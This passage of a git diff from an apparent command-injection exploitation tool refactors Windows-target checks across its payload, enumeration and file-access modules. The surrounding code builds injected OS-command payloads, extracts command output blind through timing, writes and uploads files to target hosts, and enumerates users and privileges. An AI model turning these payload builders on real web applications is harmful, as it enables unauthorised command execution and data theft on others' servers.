if settings.TARGET_OS == settings.OS.WINDOWS: check_option = "--file-upload" checks.unavailable_option(check_option) else: diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py index e8d5f8511a..a7da3ea442 100755 --- a/src/core/injections/blind/techniques/time_based/tb_handler.py +++ b/src/core/injections/blind/techniques/time_based/tb_handler.py @@ -245,7 +245,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r randv2 = random.randrange(1, 10) randvcalc = randv1 + randv2 - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: if alter_shell: cmd = settings.WIN_PYTHON_INTERPRETER + "python.exe -c \"print (" + str(randv1) + " + " + str(randv2) + ")\"" else: diff --git a/src/core/injections/blind/techniques/time_based/tb_injector.py b/src/core/injections/blind/techniques/time_based/tb_injector.py index d52e1ff449..01115da147 100755 --- a/src/core/injections/blind/techniques/time_based/tb_injector.py +++ b/src/core/injections/blind/techniques/time_based/tb_injector.py @@ -169,7 +169,7 @@ def custom_header_injection_test(url, vuln_parameter, payload): """ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: previous_cmd = cmd if alter_shell: cmd = settings.WIN_PYTHON_INTERPRETER + " -c \"import os; print len(os.popen('cmd /c " + cmd + "').read().strip())\"" @@ -248,7 +248,7 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, # Proceed with the next (injection) step! if found_chars == True : - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: cmd = previous_cmd num_of_chars = output_length + 1 check_start = 0 @@ -354,7 +354,7 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, """ def false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timesec, http_request_method, url, vuln_parameter, randvcalc, alter_shell, how_long, url_time_response, false_positive_warning): - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: previous_cmd = cmd if alter_shell: cmd = settings.WIN_PYTHON_INTERPRETER + " -c \"import os; print len(os.popen('cmd /c " + cmd + "').read().strip())\"" @@ -423,7 +423,7 @@ def false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timese break if found_chars == True : - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: cmd = previous_cmd num_of_chars = output_length + 1 check_start = 0 diff --git a/src/core/injections/blind/techniques/time_based/tb_payloads.py b/src/core/injections/blind/techniques/time_based/tb_payloads.py index 1f4afc44c1..2137b56722 100755 --- a/src/core/injections/blind/techniques/time_based/tb_payloads.py +++ b/src/core/injections/blind/techniques/time_based/tb_payloads.py @@ -25,7 +25,7 @@ Time-based decision payload (check if host is vulnerable). """ def decision(separator, TAG, output_length, timesec, http_request_method): - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: if separator == "|" or separator == "||" : pipe = "|" payload = (pipe + @@ -85,7 +85,7 @@ def decision(separator, TAG, output_length, timesec, http_request_method): __Warning__: The alternative shells are still experimental. """ def decision_alter_shell(separator, TAG, output_length, timesec, http_request_method): - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"print(len(\'" + TAG + "\'))\"" if separator == "|" or separator == "||" : pipe = "|" @@ -148,7 +148,7 @@ def decision_alter_shell(separator, TAG, output_length, timesec, http_request_me settings.CUSTOM_HEADER_INJECTION == True: payload = payload.replace("\n",";") else: - if settings.TARGET_OS != "win": + if settings.TARGET_OS != settings.OS.WINDOWS: payload = payload.replace("\n","%0d") return payload @@ -157,7 +157,7 @@ def decision_alter_shell(separator, TAG, output_length, timesec, http_request_me Execute shell commands on vulnerable host. """ def cmd_execution(separator, cmd, output_length, timesec, http_request_method): - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: if separator == "|" or separator == "||" : pipe = "|" payload = (pipe + settings.SINGLE_WHITESPACE + @@ -221,7 +221,7 @@ def cmd_execution(separator, cmd, output_length, timesec, http_request_method): __Warning__: The alternative shells are still experimental. """ def cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_request_method): - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: if separator == "|" or separator == "||" : pipe = "|" payload = (pipe + settings.SINGLE_WHITESPACE + @@ -282,14 +282,14 @@ def cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_reque settings.CUSTOM_HEADER_INJECTION == True: payload = payload.replace("\n",";") else: - if settings.TARGET_OS != "win": + if settings.TARGET_OS != settings.OS.WINDOWS: payload = payload.replace("\n","%0d") return payload """ Get the execution output, of shell execution. """ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method): - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: if separator == "|" or separator == "||" : pipe = "|" payload = (pipe + settings.SINGLE_WHITESPACE + @@ -359,7 +359,7 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met __Warning__: The alternative shells are still experimental. """ def get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method): - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"import os; print(ord(os.popen('" + cmd + "').read().strip()[" + str(num_of_chars-1) + ":" + str(num_of_chars) + "]))\"" if separator == "|" or separator == "||" : pipe = "|" @@ -420,7 +420,7 @@ def get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http settings.CUSTOM_HEADER_INJECTION == True: payload = payload.replace("\n",";") else: - if settings.TARGET_OS != "win": + if settings.TARGET_OS != settings.OS.WINDOWS: payload = payload.replace("\n","%0d") return payload @@ -428,7 +428,7 @@ def get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http Get the execution output, of shell execution. """ def fp_result(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method): - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: if separator == "|" or separator == "||" : pipe = "|" payload = (pipe + settings.SINGLE_WHITESPACE + @@ -486,7 +486,7 @@ def fp_result(separator, cmd, num_of_chars, ascii_char, timesec, http_request_me __Warning__: The alternative shells are still experimental. """ def fp_result_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method): - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: if separator == "|" or separator == "||" : pipe = "|" payload = (pipe + settings.SINGLE_WHITESPACE + @@ -544,7 +544,7 @@ def fp_result_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, htt settings.CUSTOM_HEADER_INJECTION == True: payload = payload.replace("\n",";") else: - if settings.TARGET_OS != "win": + if settings.TARGET_OS != settings.OS.WINDOWS: payload = payload.replace("\n","%0d") return payload # eof \ No newline at end of file diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index b12d958545..0ec1a640fe 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -814,7 +814,7 @@ def no_readline_module(): Check for incompatible OS (i.e Unix). """ def ps_incompatible_os(): - if not settings.TARGET_OS == "win": + if not settings.TARGET_OS == settings.OS.WINDOWS: warn_msg = "The identified OS seems incompatible with the provided '--ps-version' switch." print(settings.print_warning_msg(warn_msg)) return True @@ -951,7 +951,7 @@ def check_http_s(url): def user_defined_os(): if menu.options.os: if menu.options.os.lower() == "windows": - settings.TARGET_OS = "win" + settings.TARGET_OS = settings.OS.WINDOWS return True elif menu.options.os.lower() == "unix": return True @@ -1062,7 +1062,7 @@ def enable_all_enumeration_options(): menu.options.hostname = True # Retrieve system information. menu.options.sys_info = True - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: # Check if the current user have admin privileges. menu.options.is_admin = True # Retrieve PowerShell's version number. @@ -1234,9 +1234,9 @@ def tamper_scripts(stored_tamper_scripts): warn_msg = "" if settings.EVAL_BASED_STATE != False and script in settings.EVAL_NOT_SUPPORTED_TAMPER_SCRIPTS: warn_msg = "The dynamic code evaluation technique does not support the usage of '" + script + ".py' tamper script. Skipping." - elif settings.TARGET_OS == "win" and script in settings.WIN_NOT_SUPPORTED_TAMPER_SCRIPTS: + elif settings.TARGET_OS == settings.OS.WINDOWS and script in settings.WIN_NOT_SUPPORTED_TAMPER_SCRIPTS: warn_msg = "Windows targets do not support the usage of '" + script + ".py' tamper script. Skipping." - elif settings.TARGET_OS != "win" and script in settings.UNIX_NOT_SUPPORTED_TAMPER_SCRIPTS: + elif settings.TARGET_OS != settings.OS.WINDOWS and script in settings.UNIX_NOT_SUPPORTED_TAMPER_SCRIPTS: warn_msg = "Unix-like targets do not support the usage of '" + script + ".py' tamper script. Skipping." if len(warn_msg) != 0: print(settings.print_warning_msg(warn_msg)) @@ -1348,7 +1348,7 @@ def whitespace_check(payload): """ def other_symbols(payload): # Check for reversed (characterwise) user-supplied operating system commands. - if payload.count("|rev") >= 1 and settings.TARGET_OS != "win": + if payload.count("|rev") >= 1 and settings.TARGET_OS != settings.OS.WINDOWS: if not settings.TAMPER_SCRIPTS['rev']: if menu.options.tamper: menu.options.tamper = menu.options.tamper + ",rev" @@ -1356,7 +1356,7 @@ def other_symbols(payload): menu.options.tamper = "rev" # Check for (multiple) backticks (instead of "$()") for commands substitution on the generated payloads. - if payload.count("`") >= 2 and settings.TARGET_OS != "win": + if payload.count("`") >= 2 and settings.TARGET_OS != settings.OS.WINDOWS: if menu.options.tamper: menu.options.tamper = menu.options.tamper + ",backticks" else: @@ -1372,7 +1372,7 @@ def other_symbols(payload): menu.options.tamper = "caret" # Check for dollar sign followed by an at-sign - if payload.count("$@") >= 10 and settings.TARGET_OS != "win": + if payload.count("$@") >= 10 and settings.TARGET_OS != settings.OS.WINDOWS: if not settings.TAMPER_SCRIPTS['dollaratsigns']: if menu.options.tamper: menu.options.tamper = menu.options.tamper + ",dollaratsigns" @@ -1380,7 +1380,7 @@ def other_symbols(payload): menu.options.tamper = "dollaratsigns" # Check for uninitialized variable - if len(re.findall(r'\${.*?}', payload)) >= 10 and settings.TARGET_OS != "win": + if len(re.findall(r'\${.*?}', payload)) >= 10 and settings.TARGET_OS != settings.OS.WINDOWS: if not settings.TAMPER_SCRIPTS['uninitializedvariable']: if menu.options.tamper: menu.options.tamper = menu.options.tamper + ",uninitializedvariable" @@ -1388,7 +1388,7 @@ def other_symbols(payload): menu.options.tamper = "uninitializedvariable" # Check for environment variable value variable - if payload.count("${PATH%%u*}") >= 2 and settings.TARGET_OS != "win": + if payload.count("${PATH%%u*}") >= 2 and settings.TARGET_OS != settings.OS.WINDOWS: if not settings.TAMPER_SCRIPTS['slash2env']: if menu.options.tamper: menu.options.tamper = menu.options.tamper + ",slash2env" @@ -1400,7 +1400,7 @@ def other_symbols(payload): """ def check_backslashes(payload): # Check for single quotes - if payload.count("\\") >= 15 and settings.TARGET_OS != "win": + if payload.count("\\") >= 15 and settings.TARGET_OS != settings.OS.WINDOWS: if not settings.TAMPER_SCRIPTS['backslashes']: if menu.options.tamper: menu.options.tamper = menu.options.tamper + ",backslashes" @@ -1412,7 +1412,7 @@ def check_backslashes(payload): """ def check_quotes(payload): # Check for double quotes around of the generated payloads. - if payload.endswith("\"") and settings.TARGET_OS != "win": + if payload.endswith("\"") and settings.TARGET_OS != settings.OS.WINDOWS: if not settings.TAMPER_SCRIPTS['nested']: if menu.options.tamper: menu.options.tamper = menu.options.tamper + ",nested" @@ -1420,7 +1420,7 @@ def check_quotes(payload): menu.options.tamper = "nested" # Check for (multiple) added double-quotes between the characters of the generated payloads. - if payload.count("\"") >= 10 and settings.TARGET_OS != "win": + if payload.count("\"") >= 10 and settings.TARGET_OS != settings.OS.WINDOWS: if not settings.TAMPER_SCRIPTS['doublequotes']: if menu.options.tamper: menu.options.tamper = menu.options.tamper + ",doublequotes" @@ -1428,7 +1428,7 @@ def check_quotes(payload): menu.options.tamper = "doublequotes" # Check for (multiple) added single-quotes between the characters of the generated payloads. - if payload.count("''") >= 10 and settings.TARGET_OS != "win": + if payload.count("''") >= 10 and settings.TARGET_OS != settings.OS.WINDOWS: if not settings.TAMPER_SCRIPTS['singlequotes']: if menu.options.tamper: menu.options.tamper = menu.options.tamper + ",singlequotes" @@ -1439,7 +1439,7 @@ def check_quotes(payload): Recognise the payload. """ def recognise_payload(payload): - if "usleep" in payload and settings.TARGET_OS != "win": + if "usleep" in payload and settings.TARGET_OS != settings.OS.WINDOWS: if not settings.TAMPER_SCRIPTS['sleep2usleep']: if menu.options.tamper: menu.options.tamper = menu.options.tamper + ",sleep2usleep" @@ -1916,8 +1916,8 @@ def print_current_user(cu_account, filename, _): """ def print_current_user_privs(shell, filename, _): priv = "True" - if (settings.TARGET_OS == "win" and not "Admin" in shell) or \ - (settings.TARGET_OS != "win" and shell != "0"): + if (settings.TARGET_OS == settings.OS.WINDOWS and not "Admin" in shell) or \ + (settings.TARGET_OS != settings.OS.WINDOWS and shell != "0"): priv = "False" if settings.VERBOSITY_LEVEL == 0 and _: @@ -1976,7 +1976,7 @@ def os_info_msg(self): print(settings.print_info_msg(info_msg)) def print_users_msg(self): - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: info_msg = "Executing the 'net user' command " else: info_msg = "Fetching content of the file '" + settings.PASSWD_FILE + "' " @@ -1997,7 +1997,7 @@ def print_single_os_cmd_msg(self, cmd): """ def print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell): # Windows users enumeration. - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: try: if sys_users and any(account in sys_users for account in settings.DEFAULT_WIN_USERS): sys_users = "".join(str(p) for p in sys_users).strip() @@ -2252,7 +2252,7 @@ def find_filename(dest_to_write, content): fname = os.path.basename(dest_to_write) tmp_fname = fname + "_tmp" # _ = settings.FILE_WRITE - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: # _ = settings.FILE_WRITE_WIN cmd = settings.WIN_FILE_WRITE_OPERATOR + tmp_fname.replace("\\","\\\\") + settings.SINGLE_WHITESPACE + "'" + content + "'" else: @@ -2289,7 +2289,7 @@ def remove_parenthesis(cmd): """ def write_content(content, dest_to_write): content = quoted_cmd(content) - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: cmd = settings.WIN_FILE_WRITE_OPERATOR + dest_to_write.replace("\\","\\\\") + settings.SINGLE_WHITESPACE + "'" + content + "'" else: cmd = settings.FILE_WRITE + content + settings.FILE_WRITE_OPERATOR + dest_to_write @@ -2306,7 +2306,7 @@ def delete_tmp(tmp_fname): Check if file exists. """ def check_file(dest_to_upload): - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: cmd = settings.FILE_LIST_WIN + dest_to_upload.replace("\\","\\\\") else: cmd = settings.FILE_LIST + dest_to_upload @@ -2331,7 +2331,7 @@ def file_content_to_read(): info_msg = "Fetching content of the file: '" info_msg += file_to_read + "'." print(settings.print_info_msg(info_msg)) - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: cmd = settings.WIN_FILE_READ + file_to_read.replace("\\","\\\\") else: if settings.EVAL_BASED_STATE: @@ -2390,7 +2390,7 @@ def check_file_to_write(): with open(file_to_write, 'r') as content_file: content = [line.replace("\r\n", "\n").replace("\r", "\n").replace("\n", settings.SINGLE_WHITESPACE) for line in content_file] content = "".join(str(p) for p in content).replace("'", "\"") - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: import base64 content = base64.b64encode(content.encode(settings.DEFAULT_CODEC)).decode() else: @@ -2512,7 +2512,7 @@ def file_upload(): Check for wrong flags """ def check_wrong_flags(): - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: if menu.options.is_root : warn_msg = "Swithing '--is-root' to '--is-admin' because the " warn_msg += "target has been identified as Windows." @@ -2535,7 +2535,7 @@ def check_wrong_flags(): Define python working dir (for windows targets) """ def define_py_working_dir(): - if settings.TARGET_OS == "win" and menu.options.alter_shell: + if settings.TARGET_OS == settings.OS.WINDOWS and menu.options.alter_shell: while True: message = "Do you want to use '" + settings.WIN_PYTHON_INTERPRETER message += "' as Python working directory on the target host? [Y/n] > " diff --git a/src/core/injections/results_based/techniques/classic/cb_enumeration.py b/src/core/injections/results_based/techniques/classic/cb_enumeration.py index 93aff44a50..671675f952 100755 --- a/src/core/injections/results_based/techniques/classic/cb_enumeration.py +++ b/src/core/injections/results_based/techniques/classic/cb_enumeration.py @@ -56,7 +56,7 @@ def powershell_version(separator, TAG, prefix, suffix, whitespace, http_request_ """ def hostname(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): _ = False - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: settings.HOSTNAME = settings.WIN_HOSTNAME cmd = settings.HOSTNAME if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: @@ -78,10 +78,10 @@ def hostname(separator, TAG, prefix, suffix, whitespace, http_request_method, ur """ def system_information(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): _ = False - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: settings.RECOGNISE_OS = settings.WIN_RECOGNISE_OS cmd = settings.RECOGNISE_OS - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: if alter_shell: cmd = "cmd /c " + cmd if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: @@ -98,7 +98,7 @@ def system_information(separator, TAG, prefix, suffix, whitespace, http_request_ target_os = session_handler.export_stored_cmd(url, cmd, vuln_parameter) if target_os: target_os = "".join(str(p) for p in target_os) - if settings.TARGET_OS != "win": + if settings.TARGET_OS != settings.OS.WINDOWS: cmd = settings.DISTRO_INFO if settings.USE_BACKTICKS: cmd = checks.remove_command_substitution(cmd) @@ -116,7 +116,7 @@ def system_information(separator, TAG, prefix, suffix, whitespace, http_request_ session_handler.store_cmd(url, cmd, target_os, vuln_parameter) else: target_os = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: cmd = settings.WIN_RECOGNISE_HP else: cmd = settings.RECOGNISE_HP @@ -139,7 +139,7 @@ def system_information(separator, TAG, prefix, suffix, whitespace, http_request_ """ def current_user(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): _ = False - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: settings.CURRENT_USER = settings.WIN_CURRENT_USER cmd = settings.CURRENT_USER if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: @@ -161,7 +161,7 @@ def current_user(separator, TAG, prefix, suffix, whitespace, http_request_method """ def check_current_user_privs(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): _ = False - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: cmd = settings.IS_ADMIN else: cmd = settings.IS_ROOT @@ -187,7 +187,7 @@ def check_current_user_privs(separator, TAG, prefix, suffix, whitespace, http_re def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): _ = False cmd = settings.SYS_USERS - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: cmd = settings.WIN_SYS_USERS # cmd = cmd + settings.WIN_REPLACE_WHITESPACE if alter_shell: @@ -252,7 +252,7 @@ def single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_ """ def do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): # Check if PowerShell is enabled. - if not menu.options.ps_version and settings.TARGET_OS == "win": + if not menu.options.ps_version and settings.TARGET_OS == settings.OS.WINDOWS: checks.ps_check() if menu.options.ps_version and settings.PS_ENABLED == None: @@ -287,7 +287,7 @@ def do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, ur settings.ENUMERATION_DONE = True if menu.options.passwords: - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: check_option = "--passwords" checks.unavailable_option(check_option) else: diff --git a/src/core/injections/results_based/techniques/classic/cb_file_access.py b/src/core/injections/results_based/techniques/classic/cb_file_access.py index 571c998fcd..6cbfee5936 100755 --- a/src/core/injections/results_based/techniques/classic/cb_file_access.py +++ b/src/core/injections/results_based/techniques/classic/cb_file_access.py @@ -34,7 +34,7 @@ """ def file_write(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): file_to_write, dest_to_write, content = checks.check_file_to_write() - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: cmd = checks.change_dir(dest_to_write) response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) fname, tmp_fname, cmd = checks.find_filename(dest_to_write, content) @@ -99,7 +99,7 @@ def do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, ur settings.FILE_ACCESS_DONE = True if menu.options.file_upload: - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: check_option = "--file-upload" checks.unavailable_option(check_option) else: diff --git a/src/core/injections/results_based/techniques/classic/cb_injector.py b/src/core/injections/results_based/techniques/classic/cb_injector.py index 83db56226b..9c8d1f330b 100755 --- a/src/core/injections/results_based/techniques/classic/cb_injector.py +++ b/src/core/injections/results_based/techniques/classic/cb_injector.py @@ -288,7 +288,7 @@ def injection_results(response, TAG, cmd): shell = [backslash.replace("\/","/") for backslash in shell] except UnicodeDecodeError: pass - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: if menu.options.alter_shell: shell = [right_space.rstrip() for right_space in shell] shell = [left_space.lstrip() for left_space in shell] diff --git a/src/core/injections/results_based/techniques/classic/cb_payloads.py b/src/core/injections/results_based/techniques/classic/cb_payloads.py index b215fedabf..a5e86d6bf3 100755 --- a/src/core/injections/results_based/techniques/classic/cb_payloads.py +++ b/src/core/injections/results_based/techniques/classic/cb_payloads.py @@ -24,7 +24,7 @@ Classic decision payload (check if host is vulnerable). """ def decision(separator, TAG, randv1, randv2): - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: if settings.SKIP_CALC: payload = (separator + "echo " + TAG + TAG + TAG + settings.CMD_NUL @@ -77,7 +77,7 @@ def decision(separator, TAG, randv1, randv2): __Warning__: The alternative shells are still experimental. """ def decision_alter_shell(separator, TAG, randv1, randv2): - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: if settings.SKIP_CALC: python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"print('" + TAG + "'%2B'" + TAG + "'%2B'" + TAG + "')\"" else: @@ -108,7 +108,7 @@ def decision_alter_shell(separator, TAG, randv1, randv2): Execute shell commands on vulnerable host. """ def cmd_execution(separator, TAG, cmd): - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: if settings.REVERSE_TCP: payload = (separator + cmd + settings.SINGLE_WHITESPACE ) @@ -143,7 +143,7 @@ def cmd_execution(separator, TAG, cmd): __Warning__: The alternative shells are still experimental. """ def cmd_execution_alter_shell(separator, TAG, cmd): - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: if settings.REVERSE_TCP: payload = (separator + cmd + settings.SINGLE_WHITESPACE ) diff --git a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py index c4ba704b92..95eed537bc 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py @@ -58,7 +58,7 @@ def powershell_version(separator, TAG, prefix, suffix, whitespace, http_request_ """ def hostname(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): _ = False - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: settings.HOSTNAME = settings.WIN_HOSTNAME cmd = settings.HOSTNAME if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: @@ -80,7 +80,7 @@ def hostname(separator, TAG, prefix, suffix, whitespace, http_request_method, ur """ def system_information(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): _ = False - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: settings.RECOGNISE_OS = settings.WIN_RECOGNISE_OS cmd = settings.RECOGNISE_OS if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: @@ -97,7 +97,7 @@ def system_information(separator, TAG, prefix, suffix, whitespace, http_request_ target_os = session_handler.export_stored_cmd(url, cmd, vuln_parameter) if target_os: target_os = "".join(str(p) for p in target_os) - if settings.TARGET_OS != "win": + if settings.TARGET_OS != settings.OS.WINDOWS: cmd = settings.DISTRO_INFO if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. @@ -114,7 +114,7 @@ def system_information(separator, TAG, prefix, suffix, whitespace, http_request_ else: target_os = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: cmd = settings.WIN_RECOGNISE_HP else: cmd = settings.RECOGNISE_HP @@ -138,7 +138,7 @@ def system_information(separator, TAG, prefix, suffix, whitespace, http_request_ def current_user(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): _ = False cmd = settings.CURRENT_USER - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: cmd = settings.WIN_CURRENT_USER # cmd = cmd + settings.WIN_REPLACE_WHITESPACE if alter_shell: @@ -164,7 +164,7 @@ def current_user(separator, TAG, prefix, suffix, whitespace, http_request_method """ def check_current_user_privs(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): _ = False - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: cmd = settings.IS_ADMIN if not alter_shell: cmd = cmd = checks.quoted_cmd(cmd) @@ -190,7 +190,7 @@ def check_current_user_privs(separator, TAG, prefix, suffix, whitespace, http_re def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): _ = False cmd = settings.EVAL_SYS_USERS - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: cmd = settings.WIN_SYS_USERS if alter_shell: cmd = checks.escape_single_quoted_cmd(cmd) @@ -255,7 +255,7 @@ def single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_ """ def do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): # Check if PowerShell is enabled. - if not menu.options.ps_version and settings.TARGET_OS == "win": + if not menu.options.ps_version and settings.TARGET_OS == settings.OS.WINDOWS: checks.ps_check() if menu.options.ps_version and settings.PS_ENABLED == None: @@ -290,7 +290,7 @@ def do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, ur settings.ENUMERATION_DONE = True if menu.options.passwords: - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: check_option = "--passwords" checks.unavailable_option(check_option) else: diff --git a/src/core/injections/results_based/techniques/eval_based/eb_file_access.py b/src/core/injections/results_based/techniques/eval_based/eb_file_access.py index dc72f6183e..3c21330cf4 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_file_access.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_file_access.py @@ -33,7 +33,7 @@ """ def file_write(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): file_to_write, dest_to_write, content = checks.check_file_to_write() - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: cmd = checks.change_dir(dest_to_write) response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) fname, tmp_fname, cmd = checks.find_filename(dest_to_write, content) @@ -94,7 +94,7 @@ def do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, ur settings.FILE_ACCESS_DONE = True if menu.options.file_upload: - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: check_option = "--file-upload" checks.unavailable_option(check_option) else: diff --git a/src/core/injections/results_based/techniques/eval_based/eb_payloads.py b/src/core/injections/results_based/techniques/eval_based/eb_payloads.py index ae2a96cc4c..749a4b3125 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_payloads.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_payloads.py @@ -24,7 +24,7 @@ eval-based decision payload (check if host is vulnerable). """ def decision(separator, TAG, randv1, randv2): - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: if settings.SKIP_CALC: if separator == "": payload = ("print(`echo " + TAG + "`." + @@ -90,7 +90,7 @@ def decision(separator, TAG, randv1, randv2): __Warning__: The alternative shells are still experimental. """ def decision_alter_shell(separator, TAG, randv1, randv2): - if settings.TARGET_OS == "win": + if 